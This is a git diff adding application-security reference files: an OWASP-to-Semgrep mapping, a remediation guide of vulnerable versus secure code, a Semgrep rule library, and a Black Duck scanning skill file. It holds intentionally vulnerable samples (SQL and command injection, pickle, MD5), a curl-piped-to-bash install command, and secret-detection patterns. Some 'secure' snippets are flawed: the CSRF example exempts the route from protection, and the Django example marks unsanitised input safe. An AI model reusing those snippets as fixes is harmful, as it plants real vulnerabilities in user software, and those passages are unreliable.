+- CWE-522: Insufficiently Protected Credentials + +### Semgrep Rules +```bash +# Information disclosure +semgrep --config "r/python.flask.security.audit.debug-enabled" + +# Missing security controls +semgrep --config "p/security-audit" +``` + +### Detection Patterns +- Debug mode enabled in production +- Verbose error messages exposing internals +- Missing rate limiting +- Insecure default configurations + +## A05:2021 - Security Misconfiguration + +### CWE Mappings +- CWE-16: Configuration +- CWE-611: Improper Restriction of XML External Entity Reference +- CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute +- CWE-756: Missing Custom Error Page +- CWE-776: Improper Restriction of Recursive Entity References in DTDs + +### Semgrep Rules +```bash +# XXE vulnerabilities +semgrep --config "r/python.lang.security.audit.avoid-lxml-in-xml-parsing" + +# Insecure cookie settings +semgrep --config "r/javascript.express.security.audit.express-cookie-settings" + +# CORS misconfiguration +semgrep --config "r/javascript.express.security.audit.express-cors-misconfiguration" +``` + +### Detection Patterns +- XML External Entity (XXE) vulnerabilities +- Insecure cookie flags (missing Secure, HttpOnly, SameSite) +- Open CORS policies +- Unnecessary features enabled + +## A06:2021 - Vulnerable and Outdated Components + +### CWE Mappings +- CWE-1035: Using Components with Known Vulnerabilities +- CWE-1104: Use of Unmaintained Third Party Components + +### Semgrep Rules +```bash +# Known vulnerable dependencies +semgrep --config "p/supply-chain" + +# Deprecated APIs +semgrep --config "p/owasp-top-ten" +``` + +### Detection Patterns +- Outdated library versions +- Dependencies with known CVEs +- Use of deprecated/unmaintained packages +- Insecure package imports + +## A07:2021 - Identification and Authentication Failures + +### CWE Mappings +- CWE-287: Improper Authentication +- CWE-288: Authentication Bypass Using Alternate Path/Channel +- CWE-306: Missing Authentication for Critical Function +- CWE-307: Improper Restriction of Excessive Authentication Attempts +- CWE-521: Weak Password Requirements +- CWE-798: Use of Hard-coded Credentials +- CWE-916: Use of Password Hash With Insufficient Computational Effort + +### Semgrep Rules +```bash +# Weak password hashing +semgrep --config "r/python.lang.security.audit.hashlib-md5-used" + +# Missing authentication +semgrep --config "p/jwt" + +# Session management +semgrep --config "r/javascript.express.security.audit.express-session-misconfiguration" +``` + +### Detection Patterns +- Weak password hashing (MD5, SHA1 without salt) +- Missing multi-factor authentication +- Predictable session identifiers +- Credential stuffing vulnerabilities + +## A08:2021 - Software and Data Integrity Failures + +### CWE Mappings +- CWE-345: Insufficient Verification of Data Authenticity +- CWE-502: Deserialization of Untrusted Data +- CWE-829: Inclusion of Functionality from Untrusted Control Sphere +- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes + +### Semgrep Rules +```bash +# Unsafe deserialization +semgrep --config "r/python.lang.security.audit.unsafe-pickle" +semgrep --config "r/javascript.lang.security.audit.unsafe-deserialization" + +# Prototype pollution +semgrep --config "r/javascript.lang.security.audit.prototype-pollution" +``` + +### Detection Patterns +- Unsafe deserialization (pickle, YAML, JSON) +- Missing integrity checks on updates +- Prototype pollution in JavaScript +- Unsafe code loading from external sources + +## A09:2021 - Security Logging and Monitoring Failures + +### CWE Mappings +- CWE-117: Improper Output Neutralization for Logs +- CWE-223: Omission of Security-relevant Information +- CWE-532: Information Exposure Through Log Files +- CWE-778: Insufficient Logging + +### Semgrep Rules +```bash +# Log injection +semgrep --config "r/python.lang.security.audit.logging-unsanitized-input" + +# Sensitive data in logs +semgrep --config "p/secrets" +``` + +### Detection Patterns +- Log injection vulnerabilities +- Sensitive data logged (passwords, tokens) +- Missing security event logging +- Insufficient audit trails + +## A10:2021 - Server-Side Request Forgery (SSRF) + +### CWE Mappings +- CWE-918: Server-Side Request Forgery (SSRF) + +### Semgrep Rules +```bash +# SSRF detection +semgrep --config "r/python.requests.security.audit.requests-http-request" +semgrep --config "r/javascript.lang.security.audit.detect-unsafe-url" +``` + +### Detection Patterns +- Unvalidated URL fetching +- Internal network access via user input +- Missing URL validation +- Bypassing access controls via SSRF + +## Using This Mapping + +### Scan for Specific OWASP Category + +```bash +# Example: Scan for Injection vulnerabilities (A03) +semgrep --config "r/python.django.security.injection.sql" \ + --config "r/python.lang.security.audit.exec-used" \ + /path/to/code +``` + +### Comprehensive OWASP Top 10 Scan + +```bash +semgrep --config="p/owasp-top-ten" /path/to/code +``` + +### Filter by CWE + +```bash +# Scan and filter results by CWE +semgrep --config="p/security-audit" --json /path/to/code | \ + jq '.results[] | select(.extra.metadata.cwe == "CWE-89")' +``` + +## References + +- [OWASP Top 10 2021](https://owasp.org/Top10/) +- [CWE/SANS Top 25](https://cwe.mitre.org/top25/) +- [Semgrep Rule Registry](https://semgrep.dev/explore) diff --git a/skills/appsec/sast-semgrep/references/remediation_guide.md b/skills/appsec/sast-semgrep/references/remediation_guide.md new file mode 100644 index 0000000..67e30ae --- /dev/null +++ b/skills/appsec/sast-semgrep/references/remediation_guide.md @@ -0,0 +1,471 @@ +# Vulnerability Remediation Guide + +Security remediation patterns organized by vulnerability category. + +## Table of Contents + +- [SQL Injection](#sql-injection) +- [Cross-Site Scripting (XSS)](#cross-site-scripting-xss) +- [Command Injection](#command-injection) +- [Path Traversal](#path-traversal) +- [Insecure Deserialization](#insecure-deserialization) +- [Weak Cryptography](#weak-cryptography) +- [Authentication & Session Management](#authentication--session-management) +- [CSRF](#csrf) +- [SSRF](#ssrf) +- [XXE](#xxe) + +## SQL Injection + +### Vulnerability Pattern +```python +# VULNERABLE +query = f"SELECT * FROM users WHERE id = {user_id}" +cursor.execute(query) +``` + +### Secure Remediation +```python +# SECURE: Use parameterized queries +query = "SELECT * FROM users WHERE id = %s" +cursor.execute(query, (user_id,)) + +# Or use ORM +user = User.objects.get(id=user_id) +``` + +### Framework-Specific Solutions + +**Django:** +```python +# Use Django ORM (safe by default) +User.objects.filter(email=user_email) + +# For raw SQL, use parameterized queries +User.objects.raw('SELECT * FROM myapp_user WHERE email = %s', [user_email]) +``` + +**Node.js (Sequelize):** +```javascript +// Use parameterized queries +User.findAll({ + where: { email: userEmail } +}); + +// Or use replacements +sequelize.query( + 'SELECT * FROM users WHERE email = :email', + { replacements: { email: userEmail } } +); +``` + +**Java (JDBC):** +```java +// Use PreparedStatement +String query = "SELECT * FROM users WHERE id = ?"; +PreparedStatement stmt = conn.prepareStatement(query); +stmt.setInt(1, userId); +ResultSet rs = stmt.executeQuery(); +``` + +## Cross-Site Scripting (XSS) + +### Vulnerability Pattern +```javascript +// VULNERABLE +element.innerHTML = userInput; +document.write(userInput); +``` + +### Secure Remediation +```javascript +// SECURE: Use textContent for text +element.textContent = userInput; + +// Or properly escape HTML +element.innerHTML = escapeHtml(userInput); + +function escapeHtml(unsafe) { + return unsafe + .replace(/&/g, "&") + .replace(//g, ">") + .replace(/"/g, """) + .replace(/'/g, "'"); +} +``` + +### Framework-Specific Solutions + +**React:** +```javascript +// React auto-escapes by default +
{userInput}
+ +// For HTML content, sanitize first +import DOMPurify from 'dompurify'; +
+``` + +**Flask/Jinja2:** +```python +# Templates auto-escape by default +{{ user_input }} + +# For HTML content, sanitize +from markupsafe import Markup +import bleach +{{ Markup(bleach.clean(user_input)) }} +``` + +**Django:** +```django +{# Auto-escaped by default #} +{{ user_input }} + +{# Mark as safe only after sanitization #} +{{ user_input|safe }} +``` + +## Command Injection + +### Vulnerability Pattern +```python +# VULNERABLE +os.system(f"ping {user_host}") +subprocess.call(f"ls {user_directory}", shell=True) +``` + +### Secure Remediation +```python +# SECURE: Use subprocess with list arguments +import subprocess +subprocess.run(['ping', '-c', '1', user_host], + capture_output=True, check=True) + +# Validate input against allowlist +import shlex +if not re.match(r'^[a-zA-Z0-9.-]+$', user_host): + raise ValueError("Invalid hostname") +subprocess.run(['ping', '-c', '1', user_host]) +``` + +**Node.js:** +```javascript +// VULNERABLE +exec(`ls ${userDir}`); + +// SECURE +const { execFile } = require('child_process'); +execFile('ls', [userDir], (error, stdout) => { + // Handle output +}); +``` + +## Path Traversal + +### Vulnerability Pattern +```python +# VULNERABLE +file_path = os.path.join('/uploads', user_filename) +with open(file_path) as f: + return f.read() +``` + +### Secure Remediation +```python +# SECURE: Validate and normalize path +import os +from pathlib import Path + +def safe_join(directory, user_path): + # Normalize and resolve path + base_dir = Path(directory).resolve() + file_path = (base_dir / user_path).resolve() + + # Ensure it's within base directory + if not str(file_path).startswith(str(base_dir)): + raise ValueError("Path traversal detected") + + return file_path + +try: + safe_path = safe_join('/uploads', user_filename) + with open(safe_path) as f: + return f.read() +except ValueError: + return "Invalid filename" +``` + +## Insecure Deserialization + +### Vulnerability Pattern +```python +# VULNERABLE +import pickle +data = pickle.loads(user_data) +``` + +### Secure Remediation +```python +# SECURE: Use safe formats like JSON +import json +data = json.loads(user_data) + +# If you must deserialize, validate and restrict +import yaml +data = yaml.safe_load(user_data) # Use safe_load, not load +``` + +**Node.js:** +```javascript +// VULNERABLE +const data = eval(userInput); +const obj = Function(userInput)(); + +// SECURE +const data = JSON.parse(userInput); + +// For complex objects, use schema validation +const Joi = require('joi'); +const schema = Joi.object({ + name: Joi.string().required(), + email: Joi.string().email().required() +}); +const { value, error } = schema.validate(JSON.parse(userInput)); +``` + +## Weak Cryptography + +### Vulnerability Pattern +```python +# VULNERABLE +import hashlib +password_hash = hashlib.md5(password.encode()).hexdigest() +``` + +### Secure Remediation +```python +# SECURE: Use bcrypt or argon2 +import bcrypt + +# Hashing +password_hash = bcrypt.hashpw(password.encode(), bcrypt.gensalt()) + +# Verification +if bcrypt.checkpw(password.encode(), stored_hash): + print("Password correct") + +# Or use argon2 +from argon2 import PasswordHasher +ph = PasswordHasher() +hash = ph.hash(password) +ph.verify(hash, password) +``` + +**Encryption:** +```python +# VULNERABLE +from Crypto.Cipher import DES +cipher = DES.new(key, DES.MODE_ECB) + +# SECURE: Use AES-GCM +from cryptography.hazmat.primitives.ciphers.aead import AESGCM +import os + +key = AESGCM.generate_key(bit_length=256) +aesgcm = AESGCM(key) +nonce = os.urandom(12) +ciphertext = aesgcm.encrypt(nonce, plaintext, associated_data) +``` + +## Authentication & Session Management + +### Vulnerability Pattern +```javascript +// VULNERABLE +app.use(session({ + secret: 'weak-secret', + cookie: { secure: false } +})); +``` + +### Secure Remediation +```javascript +// SECURE +const session = require('express-session'); +app.use(session({ + secret: process.env.SESSION_SECRET, // Strong random secret + resave: false, + saveUninitialized: false, + cookie: { + secure: true, // HTTPS only + httpOnly: true, // No JavaScript access + sameSite: 'strict', // CSRF protection + maxAge: 3600000 // 1 hour + } +})); +``` + +**Password Requirements:** +```python +# Implement strong password policy +import re + +def validate_password(password): + if len(password) < 12: + return False + if not re.search(r'[A-Z]', password): + return False + if not re.search(r'[a-z]', password): + return False + if not re.search(r'[0-9]', password): + return False + if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password): + return False + return True +``` + +## CSRF + +### Vulnerability Pattern +```python +# VULNERABLE: No CSRF protection +@app.route('/transfer', methods=['POST']) +def transfer(): + amount = request.form['amount'] + to_account = request.form['to'] + # Process transfer +``` + +### Secure Remediation +```python +# SECURE: Use CSRF tokens +from flask_wtf.csrf import CSRFProtect +csrf = CSRFProtect(app) + +@app.route('/transfer', methods=['POST']) +@csrf.exempt # Only if using custom CSRF +def transfer(): + # CSRF token automatically validated + amount = request.form['amount'] + to_account = request.form['to'] +``` + +**Express.js:** +```javascript +const csrf = require('csurf'); +const csrfProtection = csrf({ cookie: true }); + +app.post('/transfer', csrfProtection, (req, res) => { + // CSRF token validated + const { amount, to } = req.body; +}); +``` + +## SSRF + +### Vulnerability Pattern +```python +# VULNERABLE +import requests +url = request.args.get('url') +response = requests.get(url) +``` + +### Secure Remediation +```python +# SECURE: Validate URLs and use allowlist +import requests +from urllib.parse import urlparse + +ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com'] + +def safe_fetch(url): + parsed = urlparse(url) + + # Check protocol + if parsed.scheme not in ['http', 'https']: + raise ValueError("Invalid protocol") + + # Check domain against allowlist + if parsed.netloc not in ALLOWED_DOMAINS: + raise ValueError("Domain not allowed") + + # Block internal IPs + import ipaddress + try: + ip = ipaddress.ip_address(parsed.hostname) + if ip.is_private: + raise ValueError("Private IP not allowed") + except ValueError: + pass # Not an IP, continue + + return requests.get(url, timeout=5) +``` + +## XXE + +### Vulnerability Pattern +```python +# VULNERABLE +from lxml import etree +tree = etree.parse(user_xml) +``` + +### Secure Remediation +```python +# SECURE: Disable external entities +from lxml import etree + +parser = etree.XMLParser( + resolve_entities=False, + no_network=True, + dtd_validation=False +) +tree = etree.parse(user_xml, parser) + +# Or use defusedxml +from defusedxml import ElementTree +tree = ElementTree.parse(user_xml) +``` + +**Node.js:** +```javascript +// Use secure XML parser +const libxmljs = require('libxmljs'); +const xml = libxmljs.parseXml(userXml, { + noent: false, // Disable entity expansion + dtdload: false, + dtdvalid: false +}); +``` + +## General Security Principles + +1. **Input Validation**: Validate all user input against expected format +2. **Output Encoding**: Encode output based on context (HTML, URL, SQL, etc.) +3. **Least Privilege**: Grant minimum necessary permissions +4. **Defense in Depth**: Use multiple layers of security controls +5. **Fail Securely**: Ensure failures don't expose sensitive data +6. **Secure Defaults**: Use secure configuration by default +7. **Keep Dependencies Updated**: Regularly update libraries and frameworks + +## Testing Remediation + +After applying fixes: + +1. **Verify with Semgrep**: Re-scan to ensure vulnerability is resolved + ```bash + semgrep --config fixed_file.py + ``` + +2. **Manual Testing**: Attempt to exploit the vulnerability +3. **Code Review**: Have peer review the fix +4. **Integration Tests**: Add tests to prevent regression + +## References + +- [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/) +- [CWE Mitigations](https://cwe.mitre.org/) +- [Semgrep Autofix](https://semgrep.dev/docs/writing-rules/autofix/) diff --git a/skills/appsec/sast-semgrep/references/rule_library.md b/skills/appsec/sast-semgrep/references/rule_library.md new file mode 100644 index 0000000..90581a9 --- /dev/null +++ b/skills/appsec/sast-semgrep/references/rule_library.md @@ -0,0 +1,425 @@ +# Semgrep Rule Library + +Curated collection of useful Semgrep rulesets and custom rule writing guidance. + +## Table of Contents + +- [Official Rulesets](#official-rulesets) +- [Language-Specific Rules](#language-specific-rules) +- [Framework-Specific Rules](#framework-specific-rules) +- [Custom Rule Writing](#custom-rule-writing) +- [Rule Testing](#rule-testing) + +## Official Rulesets + +### Comprehensive Rulesets + +| Ruleset | Config | Description | Use Case | +|---------|--------|-------------|----------| +| Auto | `auto` | Automatically selected rules based on detected languages | Quick scans, baseline | +| Security Audit | `p/security-audit` | Comprehensive security rules across languages | Deep security review | +| OWASP Top 10 | `p/owasp-top-ten` | OWASP Top 10 2021 coverage | Compliance, security gates | +| CWE Top 25 | `p/cwe-top-25` | SANS/CWE Top 25 dangerous errors | Critical vulnerability detection | +| CI | `p/ci` | Fast, low false-positive rules for CI/CD | Pull request gates | +| Default | `p/default` | Balanced security and quality rules | General purpose scanning | + +### Specialized Rulesets + +| Ruleset | Config | Focus Area | +|---------|--------|------------| +| Secrets | `p/secrets` | Hard-coded credentials, API keys | +| Cryptography | `p/crypto` | Weak crypto, hashing issues | +| Supply Chain | `p/supply-chain` | Dependency vulnerabilities | +| JWT | `p/jwt` | JSON Web Token security | +| SQL Injection | `p/sql-injection` | SQL injection patterns | +| XSS | `p/xss` | Cross-site scripting | +| Command Injection | `p/command-injection` | OS command injection | + +## Language-Specific Rules + +### Python + +```bash +# Django security +semgrep --config "p/django" + +# Flask security +semgrep --config "r/python.flask.security" + +# General Python security +semgrep --config "r/python.lang.security" + +# Specific vulnerabilities +semgrep --config "r/python.lang.security.audit.exec-used" +semgrep --config "r/python.lang.security.audit.unsafe-pickle" +semgrep --config "r/python.lang.security.audit.dangerous-subprocess-use" +``` + +**Key Python Rules:** +- `python.django.security.injection.sql.sql-injection-db-cursor-execute` +- `python.flask.security.xss.audit.template-xss` +- `python.lang.security.audit.exec-used` +- `python.lang.security.audit.dangerous-os-module-methods` +- `python.lang.security.audit.hashlib-md5-used` + +### JavaScript/TypeScript + +```bash +# Express.js security +semgrep --config "p/express" + +# React security +semgrep --config "p/react" + +# Node.js security +semgrep --config "r/javascript.lang.security" + +# Specific vulnerabilities +semgrep --config "r/javascript.lang.security.audit.eval-detected" +semgrep --config "r/javascript.lang.security.audit.unsafe-exec" +``` + +**Key JavaScript Rules:** +- `javascript.express.security.audit.xss.mustache.var-in-href` +- `javascript.lang.security.audit.eval-detected` +- `javascript.lang.security.audit.path-traversal` +- `javascript.sequelize.security.audit.sequelize-injection-express` + +### Java + +```bash +# Spring security +semgrep --config "p/spring" + +# General Java security +semgrep --config "r/java.lang.security" + +# Specific frameworks +semgrep --config "r/java.spring.security" +``` + +**Key Java Rules:** +- `java.lang.security.audit.sqli.jdbc-sqli` +- `java.lang.security.audit.xxe.xmlinputfactory-xxe` +- `java.spring.security.audit.spring-cookie-missing-httponly` + +### Go + +```bash +# Go security rules +semgrep --config "r/go.lang.security" + +# Specific vulnerabilities +semgrep --config "r/go.lang.security.audit.net.use-of-tls-with-go-sql-driver" +semgrep --config "r/go.lang.security.audit.crypto.use_of_weak_crypto" +``` + +### PHP + +```bash +# PHP security +semgrep --config "p/php" + +# Laravel security +semgrep --config "r/php.laravel.security" + +# Specific vulnerabilities +semgrep --config "r/php.lang.security.audit.sqli" +semgrep --config "r/php.lang.security.audit.dangerous-exec" +``` + +## Framework-Specific Rules + +### Web Frameworks + +**Django:** +```bash +semgrep --config "p/django" +# Covers: SQL injection, XSS, CSRF, auth issues +``` + +**Flask:** +```bash +semgrep --config "r/python.flask.security" +# Covers: XSS, debug mode, secure cookies +``` + +**Express.js:** +```bash +semgrep --config "p/express" +# Covers: XSS, CSRF, session config, CORS +``` + +**Spring Boot:** +```bash +semgrep --config "p/spring" +# Covers: SQL injection, XXE, auth, SSRF +``` + +### Cloud & Infrastructure + +**Terraform:** +```bash +semgrep --config "r/terraform.lang.security" +# Covers: S3 buckets, security groups, encryption +``` + +**Kubernetes:** +```bash +semgrep --config "r/yaml.kubernetes.security" +# Covers: privileged containers, secrets, rbac +``` + +**Docker:** +```bash +semgrep --config "r/dockerfile.security" +# Covers: unsafe base images, secrets, root user +``` + +## Custom Rule Writing + +### Rule Anatomy + +```yaml +rules: + - id: custom-rule-id + pattern: execute($SQL) + message: Potential security issue detected + severity: WARNING + languages: [python] + metadata: + category: security + cwe: "CWE-89" + owasp: "A03:2021-Injection" + confidence: HIGH +``` + +### Pattern Types + +**1. Basic Pattern** +```yaml +pattern: dangerous_function($ARG) +``` + +**2. Pattern-Inside (Context)** +```yaml +patterns: + - pattern: execute($QUERY) + - pattern-inside: | + $QUERY = $USER_INPUT + ... +``` + +**3. Pattern-Not (Exclusion)** +```yaml +patterns: + - pattern: execute($QUERY) + - pattern-not: execute("SELECT * FROM safe_table") +``` + +**4. Pattern-Either (OR logic)** +```yaml +pattern-either: + - pattern: eval($ARG) + - pattern: exec($ARG) +``` + +**5. Metavariable Comparison** +```yaml +patterns: + - pattern: crypto.encrypt($DATA, $KEY) + - metavariable-comparison: + metavariable: $KEY + comparison: len($KEY) < 16 +``` + +### Example Custom Rules + +**Detect Hard-coded AWS Keys:** +```yaml +rules: + - id: hardcoded-aws-key + patterns: + - pattern-regex: 'AKIA[0-9A-Z]{16}' + message: Hard-coded AWS access key detected + severity: ERROR + languages: [python, javascript, java, go] + metadata: + category: security + cwe: "CWE-798" + confidence: HIGH +``` + +**Detect Unsafe File Operations:** +```yaml +rules: + - id: unsafe-file-read + patterns: + - pattern: open($PATH, ...) + - pattern-inside: | + def $FUNC(..., $USER_INPUT, ...): + ... + $PATH = ... + $USER_INPUT + ... + ... + message: File path constructed from user input (path traversal risk) + severity: WARNING + languages: [python] + metadata: + cwe: "CWE-22" + owasp: "A01:2021-Broken-Access-Control" +``` + +**Detect Missing CSRF Protection:** +```yaml +rules: + - id: flask-missing-csrf + patterns: + - pattern: | + @app.route($PATH, methods=[..., "POST", ...]) + def $FUNC(...): + ... + - pattern-not-inside: | + @csrf.exempt + ... + - pattern-not-inside: | + csrf_token = ... + ... + message: POST route without CSRF protection + severity: ERROR + languages: [python] + metadata: + cwe: "CWE-352" + owasp: "A01:2021-Broken-Access-Control" +``` + +**Detect Insecure Random:** +```yaml +rules: + - id: insecure-random-for-crypto + patterns: + - pattern-either: + - pattern: random.random() + - pattern: random.randint(...) + - pattern-inside: | + def ..._token(...): + ... + message: Using insecure random for security token + severity: ERROR + languages: [python] + metadata: + cwe: "CWE-330" + fix: "Use secrets module: secrets.token_bytes(32)" +``` + +### Rule Metadata Best Practices + +Include comprehensive metadata: +```yaml +metadata: + category: security # Type of issue + cwe: "CWE-XXX" # CWE mapping + owasp: "AXX:2021-Name" # OWASP category + confidence: HIGH|MEDIUM|LOW # Detection confidence + likelihood: HIGH|MEDIUM|LOW # Exploitation likelihood + impact: HIGH|MEDIUM|LOW # Security impact + subcategory: [vuln-type] # More specific categorization + source-rule: url # If adapted from elsewhere + references: + - https://example.com/docs +``` + +## Rule Testing + +### Test File Structure +``` +custom-rules/ +├── rules.yaml # Your custom rules +└── tests/ + ├── test-sqli.py # Test cases + └── test-xss.js # Test cases +``` + +### Writing Tests + +```python +# tests/test-sqli.py + +# ruleid: custom-sql-injection +cursor.execute(f"SELECT * FROM users WHERE id = {user_id}") + +# ok: custom-sql-injection +cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) +``` + +### Running Tests + +```bash +# Test custom rules +semgrep --config rules.yaml --test tests/ + +# Validate rule syntax +semgrep --validate --config rules.yaml +``` + +## Rule Performance Optimization + +### 1. Use Specific Patterns +```yaml +# SLOW +pattern: $X + +# FAST +pattern: dangerous_function($X) +``` + +### 2. Limit Language Scope +```yaml +# Only scan relevant languages +languages: [python, javascript] +``` + +### 3. Use Pattern-Inside Wisely +```yaml +# Narrow down context early +patterns: + - pattern-inside: | + def handle_request(...): + ... + - pattern: execute($QUERY) +``` + +### 4. Exclude Test Files +```yaml +paths: + exclude: + - "*/test_*.py" + - "*/tests/*" + - "*_test.go" +``` + +## Community Rules + +Explore community-contributed rules: + +```bash +# Browse rules by technology +semgrep --config "r/python.django" +semgrep --config "r/javascript.react" +semgrep --config "r/go.gorilla" + +# Browse by vulnerability type +semgrep --config "r/generic.secrets" +semgrep --config "r/generic.html-templates" +``` + +**Useful Community Rulesets:** +- `r/python.aws-lambda.security` - AWS Lambda security +- `r/terraform.aws.security` - AWS Terraform +- `r/dockerfile.best-practice` - Docker best practices +- `r/yaml.github-actions.security` - GitHub Actions security + +## References + +- [Semgrep Rule Syntax](https://semgrep.dev/docs/writing-rules/rule-syntax/) +- [Semgrep Registry](https://semgrep.dev/explore) +- [Pattern Examples](https://semgrep.dev/docs/writing-rules/pattern-examples/) +- [Rule Writing Tutorial](https://semgrep.dev/learn) diff --git a/skills/appsec/sca-blackduck/SKILL.md b/skills/appsec/sca-blackduck/SKILL.md new file mode 100644 index 0000000..1df113f --- /dev/null +++ b/skills/appsec/sca-blackduck/SKILL.md @@ -0,0 +1,391 @@ +--- +name: sca-blackduck +description: > + Software Composition Analysis (SCA) using Synopsys Black Duck for identifying open source + vulnerabilities, license compliance risks, and supply chain security threats with CVE, + CWE, and OWASP framework mapping. Use when: (1) Scanning dependencies for known + vulnerabilities and security risks, (2) Analyzing open source license compliance and + legal risks, (3) Identifying outdated or unmaintained dependencies, (4) Integrating + SCA into CI/CD pipelines for continuous dependency monitoring, (5) Providing remediation + guidance for vulnerable dependencies with CVE and CWE mappings, (6) Assessing supply + chain security risks and third-party component threats. +version: 0.1.0 +maintainer: SirAppSec +category: appsec +tags: [sca, blackduck, dependency-scanning, vulnerability-management, license-compliance, supply-chain, cve, owasp] +frameworks: [OWASP, CWE, NIST, SOC2, PCI-DSS] +dependencies: + tools: [docker, git, detect] + access: [blackduck-url, api-token] +references: + - https://sig-product-docs.synopsys.com/bundle/bd-hub/page/Welcome.html + - https://owasp.org/www-project-dependency-check/ + - https://nvd.nist.gov/ + - https://www.cisa.gov/sbom +--- + +# Software Composition Analysis with Black Duck + +## Overview + +Perform comprehensive Software Composition Analysis (SCA) using Synopsys Black Duck to identify +security vulnerabilities, license compliance risks, and supply chain threats in open source +dependencies. This skill provides automated dependency scanning, vulnerability detection with +CVE mapping, license risk analysis, and remediation guidance aligned with OWASP and NIST standards. + +## Quick Start + +Scan a project for dependency vulnerabilities: + +```bash +# Using Black Duck Detect (recommended) +bash <(curl -s -L https://detect.synopsys.com/detect.sh) \ + --blackduck.url=$BLACKDUCK_URL \ + --blackduck.api.token=$BLACKDUCK_TOKEN \ + --detect.project.name="MyProject" \ + --detect.project.version.name="1.0.0" +``` + +Scan with policy violation enforcement: + +```bash +# Fail build on policy violations +bash <(curl -s -L https://detect.synopsys.com/detect.sh) \ + --blackduck.url=$BLACKDUCK_URL \ + --blackduck.api.token=$BLACKDUCK_TOKEN \ + --detect.policy.check.fail.on.severities=BLOCKER,CRITICAL +``` + +## Core Workflows + +### Workflow 1: Initial Dependency Security Assessment + +Progress: +[ ] 1. Identify package managers and dependency manifests in codebase +[ ] 2. Run `scripts/blackduck_scan.py` with project detection +[ ] 3. Analyze vulnerability findings categorized by severity (CRITICAL, HIGH, MEDIUM, LOW) +[ ] 4. Map CVE findings to CWE and OWASP Top 10 categories +[ ] 5. Review license compliance risks and policy violations +[ ] 6. Generate prioritized remediation report with upgrade recommendations + +Work through each step systematically. Check off completed items. + +### Workflow 2: Vulnerability Remediation + +1. Review scan results and identify critical/high severity vulnerabilities +2. For each vulnerability: + - Check if fixed version is available + - Review breaking changes in upgrade path + - Consult `references/remediation_strategies.md` for vulnerability-specific guidance +3. Apply dependency updates using package manager +4. Re-scan to validate fixes +5. Document any vulnerabilities accepted as risk with justification + +### Workflow 3: License Compliance Analysis + +1. Run Black Duck scan with license risk detection enabled +2. Review components flagged with license compliance issues +3. Categorize by risk level: + - **High Risk**: GPL, AGPL (copyleft licenses) + - **Medium Risk**: LGPL, MPL (weak copyleft) + - **Low Risk**: Apache, MIT, BSD (permissive) +4. Consult legal team for high-risk license violations +5. Document license decisions and create policy exceptions if approved + +### Workflow 4: CI/CD Integration + +1. Add Black Duck Detect to CI/CD pipeline using `assets/ci_integration/` +2. Configure environment variables for Black Duck URL and API token +3. Set policy thresholds (fail on CRITICAL/HIGH vulnerabilities) +4. Enable SBOM generation for supply chain transparency +5. Configure alerts for new vulnerabilities in production dependencies + +### Workflow 5: Supply Chain Risk Assessment + +1. Identify direct and transitive dependencies +2. Analyze component quality metrics: + - Maintenance activity (last update, commit frequency) + - Community health (contributors, issue resolution) + - Security track record (historical CVEs) +3. Flag high-risk components (unmaintained, few maintainers, security issues) +4. Review alternative components with better security posture +5. Document supply chain risks and mitigation strategies + +## Security Considerations + +- **Sensitive Data Handling**: Black Duck scans require API tokens with read/write access. + Store credentials securely in secrets management (Vault, AWS Secrets Manager). + Never commit tokens to version control. + +- **Access Control**: Limit Black Duck access to authorized security and development teams. + Use role-based access control (RBAC) for scan result visibility and policy management. + +- **Audit Logging**: Log all scan executions with timestamps, user, project version, and + findings count for compliance auditing. Enable Black Duck's built-in audit trail. + +- **Compliance**: SCA scanning supports SOC2, PCI-DSS, GDPR, and HIPAA compliance by + tracking third-party component risks. Generate SBOM for regulatory requirements. + +- **Safe Defaults**: Configure policies to fail builds on CRITICAL and HIGH severity + vulnerabilities. Use allowlists sparingly with documented business justification. + +## Supported Package Managers + +Black Duck Detect automatically identifies and scans: + +- **JavaScript/Node**: npm, yarn, pnpm +- **Python**: pip, pipenv, poetry +- **Java**: Maven, Gradle +- **Ruby**: Bundler, gem +- **.NET**: NuGet +- **Go**: go modules +- **PHP**: Composer +- **Rust**: Cargo +- **C/C++**: Conan, vcpkg +- **Docker**: Container image layers + +## Bundled Resources + +### Scripts + +- `scripts/blackduck_scan.py` - Full-featured scanning with CVE/CWE mapping and reporting +- `scripts/analyze_results.py` - Parse Black Duck results and generate remediation report +- `scripts/sbom_generator.sh` - Generate SBOM (CycloneDX/SPDX) from scan results +- `scripts/policy_checker.py` - Validate compliance with organizational security policies + +### References + +- `references/cve_cwe_owasp_mapping.md` - CVE to CWE and OWASP Top 10 mapping +- `references/remediation_strategies.md` - Vulnerability remediation patterns and upgrade strategies +- `references/license_risk_guide.md` - License compliance risk assessment and legal guidance +- `references/supply_chain_threats.md` - Common supply chain attack patterns and mitigations + +### Assets + +- `assets/ci_integration/github_actions.yml` - GitHub Actions workflow for Black Duck scanning +- `assets/ci_integration/gitlab_ci.yml` - GitLab CI configuration for SCA +- `assets/ci_integration/jenkins_pipeline.groovy` - Jenkins pipeline with Black Duck integration +- `assets/policy_templates/` - Pre-configured security and compliance policies +- `assets/blackduck_config.yml` - Recommended Black Duck Detect configuration + +## Common Patterns + +### Pattern 1: Daily Dependency Security Baseline + +```bash +# Run comprehensive scan and generate SBOM +scripts/blackduck_scan.py \ + --project "MyApp" \ + --version "1.0.0" \ + --output results.json \ + --generate-sbom \ + --severity CRITICAL HIGH +``` + +### Pattern 2: Pull Request Dependency Gate + +```bash +# Scan PR changes, fail on new high-severity vulnerabilities +bash <(curl -s -L https://detect.synopsys.com/detect.sh) \ + --blackduck.url=$BLACKDUCK_URL \ + --blackduck.api.token=$BLACKDUCK_TOKEN \ + --detect.policy.check.fail.on.severities=CRITICAL,HIGH \ + --detect.wait.for.results=true +``` + +### Pattern 3: License Compliance Audit + +```bash +# Generate license compliance report +scripts/blackduck_scan.py \ + --project "MyApp" \ + --version "1.0.0" \ + --report-type license \ + --output license-report.pdf +``` + +### Pattern 4: Vulnerability Research and Triage + +```bash +# Extract CVE details and remediation guidance +scripts/analyze_results.py \ + --input scan-results.json \ + --filter-severity CRITICAL HIGH \ + --include-remediation \ + --output vulnerability-report.md +``` + +### Pattern 5: SBOM Generation for Compliance + +```bash +# Generate Software Bill of Materials (CycloneDX format) +scripts/sbom_generator.sh \ + --project "MyApp" \ + --version 